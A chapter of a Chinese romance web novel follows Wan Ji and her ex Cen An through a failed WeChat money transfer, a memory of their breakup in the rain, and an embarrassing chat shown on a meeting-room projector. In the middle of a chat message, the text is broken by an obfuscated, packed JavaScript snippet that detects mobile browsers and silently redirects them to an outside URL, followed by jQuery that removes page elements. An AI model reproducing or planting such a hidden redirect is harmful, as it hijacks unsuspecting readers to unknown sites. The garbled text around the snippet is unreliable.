晚霁：“？”
她看起来像是这么没有担当的人吗？
像吗。
内心发出小小的疑惑后，她只能选择无奈接受。
确实是她理亏。
怎么就走路没看清楚，撞掉了他的手机。
像迟来的报应一样。
报应她刚刚说的那些话。
所以要用金钱来弥补。
完美的契合了运气守恒法则，总量守恒，得失相抵。
眼睁睁看着对方把手机里的信息存好，然后点了好友申请。
上面立刻显示一行小小的等待验证的字。
倒有种她费尽心思，要得到他联系方式的错觉。
“……”
“手机号码也存了，微信也加上了，我想就算我逃债逃到天涯海角你也能找到我，总算行了吧？”
“那可未必。”岑桉桃花眼微眯，“要不然也不会有那么多重金悬赏的通缉犯。”
“……”
这个比喻也太牵强了些。
她和通缉犯？
呵。
晚霁嘴角扯了扯，差点维持不住微笑。
“不过我暂时想不到其他绑定你身份信息的方式，先这样吧。”
手机终于再一次回到晚霁手上。
“没什么事的话我就先走了。”
“嗯。”
岑桉目送她离开的背影，垂在裤缝的手不自觉地攥紧，唇线绷直。
他大步迈进礼堂，找到还在指挥彩排的江亦舒。
“临时有事。今天下午的颁奖典礼我会缺席，抱歉。”
江亦舒点点头，然后看着岑桉转身离开。
那背影居然有点落寞。
他推掉了下午的颁奖典礼，礼仪小姐自然也就够了。
江亦舒叹了口气，对着身旁人说，“明朗哥，我是不是弄巧成拙了。”
难得见小姑娘这么丧气，宋明朗轻昵地揉了揉她的发顶，笑着安慰，“没关系，他们来日方长。”
……
晚霁驱车回了研究所。
这两天必须把蓝岸那边提出的修改意见处理好。
晚霁一整天都泡在工位上，连同几个老研究员并实习生都加班加点的忙活。
一看时间，已是晚上九点。
中途大家都去外面吃了晚饭，晚霁却只垫巴了点面包。
她点开微信看了眼。
那头的验证申请仍旧没动过。
首页正好弹出一条公众号更新内容提醒——
海城大学校友返校活动。
不知是好奇心驱使还是怎的。
晚霁伸手点进去。
前面全是些祝贺词和校园配图，没什么好看的。
她往下翻，一直到最后面。
看到优秀校友颁奖活动合影。
手指停了下来，双击放大。
映入眼帘的先是江亦舒身穿红色礼服的身影，视线往上移，从左到右，一个个数过去。
都是些陌生面孔，晚霁一个也不认识。
……
又退出了页面。
晚霁拿起包出了门，在研究所附近找了家面馆。点了碗鸡蛋肉丝面。
这个点人已经很少，晚霁找了个角落坐下，一边吃面一边看手机。
江亦舒给她发了很多消息，几乎一直占据在顶格。
【姐，你别生气了好不好！】
【我保证再也没有下次了！】
【你怎么不理我啊！我不是你的亲亲好妹妹了嘛TAT】
……
晚霁咬了一口煎蛋，慢慢打字。
【刚在忙，没看到消息。】
对面：【姐姐~我就知道你最好了。小狗jpg.】
晚霁思考了一会，还是决定得好好教育一下，不然以后可能还有再犯的毛病。
【你以后不要把我跟他凑到一起，我们早就不是一路人了。】
【你也知道，我们当时闹得很不愉快。】
【所以，没可能了。】
真的没可能了。
恍然间好像又回到大四那年。
学校的人都快各奔东西。
晚霁最后一次去找他，站在宿舍楼下等了很久。
很久。
久到她以为他不会再下来了。
夜里突然下起了小雨，又闷又热。晚霁没带伞，看这样子人也不会再下来了。
她擦了擦脸上的雨，正准备转身离开。
身后响起熟悉的男声，夹杂着嘲讽：“宋晚霁，要不是我提前发现，你还想玩我多久？”
晚霁的脚步立刻顿住。
对方继续。
“一年？两年？难不成还能有一辈子？”
他自嘲地笑了一声。
然后把什么东西狠狠砸在水泥地上。
在身后响起不轻不重的一声。
再回头，人已经不见了。
地上多了把透明雨伞。
那是他们最后一次有交集。
也是最后一次，把对方从血淋淋的心口剜去。
所以，没可能了。
晚霁也没等对面回话，食指摁灭了屏幕，起身结账回家。
晚霁睡前瞥了眼手机。
最顶端出现了一条新的对话框。
微信名是CA。
点进去。
【对方通过了您的朋友验证请求。】
除此之外，一句问候的话都没有。
晚霁也没觉得有什么。
手指象征性点开他的朋友圈，什么都没有。
晚霁思考一瞬，想点开他的头像打个备注。
不知道是手抖还是怎么，她不小心多点了一下。
下一秒。
聊天记录多了一行，上面显示——我拍了拍岑桉。
！！！！！
我靠！
这怎么回事！
她不是故意的！
他应该没看到吧？撤回行不行？
不对，撤回也会显示，到时候更解释不清。
算了，就当是提醒他了。
晚霁生无可恋地点开转账，输入金额10000元，然后点击转账。
提示消息：【当前交易存在风险，暂时无法完成转账。】
转账失败。
？
晚霁又重新试了两次。
还是不行。
这怎么回事？发不了钱？
晚霁不甘心，随便换个数字又试了一次。
这次金额是0.01.
提示消息：【转账成功。】
晚霁的眉心一跳，在床头柜上摸起眼镜戴上。
不敢置信地盯着聊天框。
看了一遍，又一遍。
这是什么bug？！
晚霁不死心，又想再发一遍10000块的转账，还是不行。
这算个什么事！
晚霁的心情简直无法用言语形容。
她半夜三更不仅莫名其妙拍了拍对方，然后又发0.01过去。
怎么解释？
手滑？
好像解释不通。
晚霁迟疑了一下，决定装作什么都没发生：【在吗？】
对方没回，也不知道看没看手机。
晚霁继续打字。
【我给你转账好像发不出去，你如果有时间的话我们见一面。】
时候不早了，发完这句话，晚霁就把手机开静音丢到一边。
随手撕开一片蒸汽眼罩戴上，准备酝酿睡意。
-
隔天就是和蓝岸正式签订合作协议的时候。
晚霁和张总一起到了蓝岸。
十八楼会议室，一切准备已经就绪，晚霁提前给对方发过最新的合作书，也取得了一致同意。
双方再次看过合同，然后交换签字。
合作正式敲定。
张总也暗暗松了口气。
后续就等双方人员一起建设云平台，推动上线了。
今天岑桉和宋明朗都在。
宋明朗在一边同张所寒暄。
晚霁没什么事做，懒散地坐着回复手机消息。
黄甜：【早知道今天出门前
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259449|198020||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不喝那杯冰牛奶了！害我在厕所待这么久，还错过今天的签约！】
晚霁笑了笑：【没事吧？】
【肚子是没事了！但是！我的心有事！】
【嗯？】
【我错过了呀！之前听说蓝岸有两大帅哥合伙人，宋总我见过，但是另外一位我从来没见过！晚霁姐你今天见到了吗？】
【嗯，见到了。】
【怎么样？长得帅不帅？比起宋总如何？】
晚霁扫了一眼对面。
岑桉仍坐在靠椅上，神情专注地看向电脑屏幕，似乎在处理其他工作。
他穿着笔挺精致的深蓝西装，雪白的衬衣袖口随着他打字的动作漏在外面，两颗黑色袖扣泛着清冷的光。
视线上移，那双桃花眼俊秀，不笑的时候稍显凌厉，嘴角平直得没有一丝弧度。
晚霁又看了眼笑得温和的宋明朗，在心里暗自对比了一下。
好吧，她还是喜欢冷面款。
她没注意到自己嘴角弯起一抹弧度。
继续打字。
【嗯，是挺帅的，比宋总帅多了。】
【啊啊啊啊我或许错过了我的一辈子……】
晚霁被她逗笑了，随口找了个理由安慰。
【没事，这人看起来一年能换三百六十五个女朋友，不要被外表迷惑了。】
砰-
对面合上了电脑。
声音不大，但在场的人刚好都能听见。
晚霁抬眼。
便对上一道意味不明的视线。
她的笑容僵在脸上，慢慢收回，同时心虚地摁掉了手机屏幕。
“嗯？”
这是怎么了？
她也没干嘛吧。
还有这眼神什么意思。
这时张总有电话进来，也没顾得及看这边，招呼了声就出去接电话了。
宋明朗自然地转过身来，眼睛扫过忘关的投影仪，正欲关掉，随即又扫了眼，视线定住。
一句带着调笑的话就这样传进晚霁的耳朵里。
“晚霁，我好像也没比岑桉丑多少吧，至于用‘帅多了’这种字眼吗？”
晚霁差点没反应过来：“啊？”
她不由自主地顺着宋明朗的视线望去。
身体猛地一僵。
一股热意瞬间涌上头顶。
脑海里只剩下两个字——
完了。
这下真完了。
她居然忘！记！登！出！帐！号了！
大屏上现在清清楚楚显示着她和黄甜的聊天框，两人的对话更是不堪入目。
把蓝岸的两个合伙人抹黑了个遍。
不对，黄甜没有。
是自己把他们抹黑了个遍。
……
晚霁的脑子宕机一瞬，手已经快一步，在两人的注视下慢慢点开退出键。
她能不能装作什么都没发生？
然后淡定地离开。
“兄弟？你什么时候一天换一个女朋友了？也不跟我说说。”
“欸，今天准备跟哪个见面？Lisa？还是Nancy？”
宋明朗背身倚在桌边，双手后撑，侧过脸看着他们，一副看戏的模样。
闻言，岑桉唇线好像绷得更直了些，面无表情地扫了他一眼，后者闭上了嘴，“很有眼力见”地退了出去。
会议室里只剩下他们两个人。
空气在这一刻变得无比寂静。
落针可闻。
晚霁笑眯眯地慢慢往门口挪。
一步，两步，三步……
她丈量着离门口的距离。
还差最后一米。
“呵。”
一声轻嗤，不大不小，刚好能传进晚霁的耳朵里。
“我倒是没有某人这样见异思迁。”
晚霁的脚步顿住：“？”
就听那人继续道：“手机里装着一个，线下还想再泡一个。”
岑桉抬起眼皮，装模做样地扫了她一眼。
下定结论。
“不过，你这外表也确实挺有迷惑性的。”